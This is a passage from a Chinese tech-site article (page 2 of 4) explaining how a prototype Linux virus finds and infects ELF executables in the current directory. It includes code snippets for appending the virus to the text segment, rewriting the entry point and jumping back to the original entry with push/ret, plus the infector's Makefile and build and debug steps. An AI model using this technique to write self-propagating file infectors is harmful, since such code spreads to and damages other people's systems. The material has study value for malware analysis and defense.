文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院操作系统 LinuxLinux病毒原型工作过程和关键环节
精品推荐
特别推荐
·高效使用Linux的七个好习惯
·为何Linux比Windows更安全?
·Linux和Unix最常用的网络命令
·Linux系统下安全防护十大招数
·Linux各种服务器的架设
·Linux操作系统下用单网卡捆绑双IP
·恢复被误删除的Linux文件
·在Linux服务器上做备份和恢复
·Linux中网络参数的意义及其应用
·linux知识大全
热点TOP10
·为Canon PIXMA iP1000喷墨打印机安装驱动程序
·用.iso文件从硬盘安装redhat linux 7.3
·Linux root密码丢失后的解决
·安装,配置rp-pppoe拨号软件,使adsl成功上网
·日内瓦学校将全面换用Linux系统
·Linux系统安全机制进阶分析
·Linux下限制Root用户进行远程登陆
·Linux和Windows系统升级的最大不同
·Linux系统下VPN服务器配置方法
·提高Linux操作系统网速的方法

Linux病毒原型工作过程和关键环节

日期:2008年3月27日 作者: 查看:[大字体 中字体 小字体]



  3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。

  4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。

  5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。

  6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。

  7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。

  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

  四、关键技术问题及处理

  1 ELF文件执行流程重定向和代码插入

  在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:

  * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述: p_align

  As ``Program Loading'' later in this part describes, loadable

  process segments must have congruent values for p_vaddr and

  p_offset, modulo the page size.

  * 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向: /* Modify the entry point of the ELF */

  org_entry = ehdr->e_entry;

  ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

  2 病毒代码如何返回到真正的ELF文件入口

  方法技巧应该很多,这里采用的方法是PUSH+RET组合: __asm__ volatile (

  ...

  "return:\n\t"

  "push $0xAABBCCDD\n\t" /* push ret_addr */

  "ret\n"

  ::);

  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。

  五、 新编译环境下的调试方法 grip2@linux:~/tmp/virus> ls

  g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c

  Makefile parasite-sample.c parasite-sample.h

  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项 grip2@linux:~/tmp/virus> cat Makefile

  all: foo gei

  gei: g-elf-infector.c gvirus.o

  gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG

  foo: foo.c

  gcc $< -o foo

  gvirus.o: gvirus.c

  gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

  clean:

  rm *.o -rf

  rm foo -rf

  rm gei -rf

  编译代码 grip2@linux:~/tmp/virus> make

  gcc foo.c -o foo

  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

  先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义

  grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度

  Parasite code length: 1744

  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移 grip2@linux:~/tmp/virus> objdump -d gei grep aabbccdd

上一页 [1] [2] [3] [4] 下一页 




上一篇:用独立的DLL来存储图片(资源文件)

下一篇:揭露Windows中不老实的服务

相关文章:
·一次入侵过程的公开分析
·杀毒技巧系列:杀毒、防恶意代码、脚本病毒的不完全合集
·极光特效 Photoshop详解制作过程
·关于SEX的9个关键问题
·设好eMule电驴两项关键配置 提高下载速度
·不再怕电脑病毒 电脑中毒后的6招处理方法
·Excel2000工作薄安全攻略
·无线攻防:破解WEP密钥过程全解
·无盘工作站运行Windows XP
·警惕高危木马病毒 随意下载病毒窃密码
相关软件:
·工作流管理系统 V1.1
·鸟哥的linux私房菜:基础学习篇
·BIOS设置全过程视频精讲(配语音讲解)WMV格式
·U盘病毒专杀工具(USBCleaner)V6.0 Build 20070812
·中级装饰美工工作要求
·understanding the linux kernel
·Windows蠕虫病毒专杀定制工具 V0.0.6
·成功的关键
·红帽子Red Hat Linux 8.0(3G,5CD)
·室内装饰设计员工作要求

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot